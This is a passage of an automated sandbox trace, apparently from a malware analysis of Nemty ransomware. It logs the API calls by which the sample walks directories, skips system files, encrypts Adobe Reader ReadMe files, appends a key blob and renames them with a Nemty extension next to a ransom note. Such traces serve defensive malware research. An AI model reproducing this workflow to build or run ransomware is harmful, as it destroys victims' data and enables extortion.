lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0193.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0193.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0193.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.979] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x190ff9d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x190ff9d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x190ff9d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0193.979] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0193.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0193.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0193.979] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4176, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2=".") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="..") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="...") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="windows") returned -1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="$RECYCLE.BIN") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="rsa") returned -1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="NTDETECT.COM") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="ntldr") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="MSDOS.SYS") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="IO.SYS") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="boot.ini") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="boot.ini") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="AUTOEXEC.BAT") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="ntuser.dat") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="desktop.ini") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="CONFIG.SYS") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="RECYCLER") returned -1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="BOOTSECT.BAK") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="bootmgr") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="programdata") returned 1 [0193.979] lstrcmpiW (lpString1="ReadMe.htm", lpString2="appdata") returned 1 [0193.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMe.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMe.htm", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMe.htm", lpUsedDefaultChar=0x0) returned 10 [0193.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMe.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMe.htm", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMe.htm", lpUsedDefaultChar=0x0) returned 10 [0193.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMe.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMe.htm", cchWideChar=10, lpMultiByteStr=0x653f2a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMe.htm", lpUsedDefaultChar=0x0) returned 10 [0193.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMe.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMe.htm", cchWideChar=10, lpMultiByteStr=0x653f2d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMe.htm", lpUsedDefaultChar=0x0) returned 10 [0193.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0193.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0193.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0193.980] Sleep (dwMilliseconds=0x5) [0193.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x27452ed0, dwHighDateTime=0x1d561e8)) [0193.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x27452ed0, dwHighDateTime=0x1d561e8)) [0193.984] GetLastError () returned 0x12 [0193.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.984] GetLastError () returned 0x12 [0193.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.984] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0193.984] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0193.984] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0193.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.984] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653ef9c | out: pszString="9ctGZ0o7JWg6bpmhmCZNJS6V0TZSeqpNvXjBrEEMMKu2Gfl2+9NQDS/zgQmzwDYo\r\nxZo4O7dzA3d2jqpS6LdkBziwiDYqI5gs94Q7KGLSy88TbhjMh8O5mWcmVlciCYAc\r\nwPZc4ZtdSTav7U0t6X+XPJQ7cVge/wuMe+W4ZaPRBRNiNs6q4Llf0y9YKSympove\r\njlGIREbfKjdW39m5K3JqEfnmQNDQ/yJJTkfF8EcBxkYVN0Hmi/dxB6a8CnzKtsVs\r\n5f2dX8TM5hvp4fD3+vjdhVFXepzv5Aa+D/8S3b8guvcy5Su4prgO08EqiIbATqTY\r\nQaGwbk8vRMsRjwC9pXXGNA==\r\n", pcchString=0x653ef9c) returned 1 [0193.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0193.985] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=16758) returned 1 [0193.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4170) returned 0x6352c48 [0193.985] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.985] ReadFile (in: hFile=0x1e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4170, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653f1e4*=0x4170, lpOverlapped=0x0) returned 1 [0193.988] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.988] WriteFile (in: hFile=0x1e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653f1dc*=0x4170, lpOverlapped=0x0) returned 1 [0193.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0193.988] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=16758, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4176 [0193.988] WriteFile (in: hFile=0x1e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0193.988] CloseHandle (hObject=0x1e8) returned 1 [0193.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0193.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0193.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0193.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0193.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.988] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm._nemty_kgobjgd_")) returned 1 [0193.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0193.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0193.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0193.989] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3f71, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ReadMeCS.htm", cAlternateFileName="")) returned 1 [0193.989] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2=".") returned 1 [0193.989] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="..") returned 1 [0193.989] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="...") returned 1 [0193.989] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="windows") returned -1 [0193.989] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="$RECYCLE.BIN") returned 1 [0193.990] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="rsa") returned -1 [0193.990] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="NTDETECT.COM") returned 1 [0193.990] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="ntldr") returned 1 [0193.990] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="MSDOS.SYS") returned 1 [0193.990] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="IO.SYS") returned 1 [0193.990] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="boot.ini") returned 1 [0193.990] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="boot.ini") returned 1 [0193.990] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="AUTOEXEC.BAT") returned 1 [0193.990] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="ntuser.dat") returned 1 [0193.990] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="desktop.ini") returned 1 [0193.990] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="CONFIG.SYS") returned 1 [0193.990] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="RECYCLER") returned -1 [0193.990] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="BOOTSECT.BAK") returned 1 [0193.990] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="bootmgr") returned 1 [0193.990] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="programdata") returned 1 [0193.990] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="appdata") returned 1 [0193.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCS.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCS.htm", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeCS.htm", lpUsedDefaultChar=0x0) returned 12 [0193.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCS.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCS.htm", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeCS.htm", lpUsedDefaultChar=0x0) returned 12 [0193.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCS.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCS.htm", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeCS.htm", lpUsedDefaultChar=0x0) returned 12 [0193.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCS.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCS.htm", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeCS.htm", lpUsedDefaultChar=0x0) returned 12 [0193.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0193.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0193.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0193.991] Sleep (dwMilliseconds=0x5) [0193.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x27479030, dwHighDateTime=0x1d561e8)) [0193.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x27479030, dwHighDateTime=0x1d561e8)) [0193.999] GetLastError () returned 0x0 [0193.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.000] GetLastError () returned 0x0 [0194.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.000] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0194.000] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0194.000] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0194.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0194.000] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653ef9c | out: 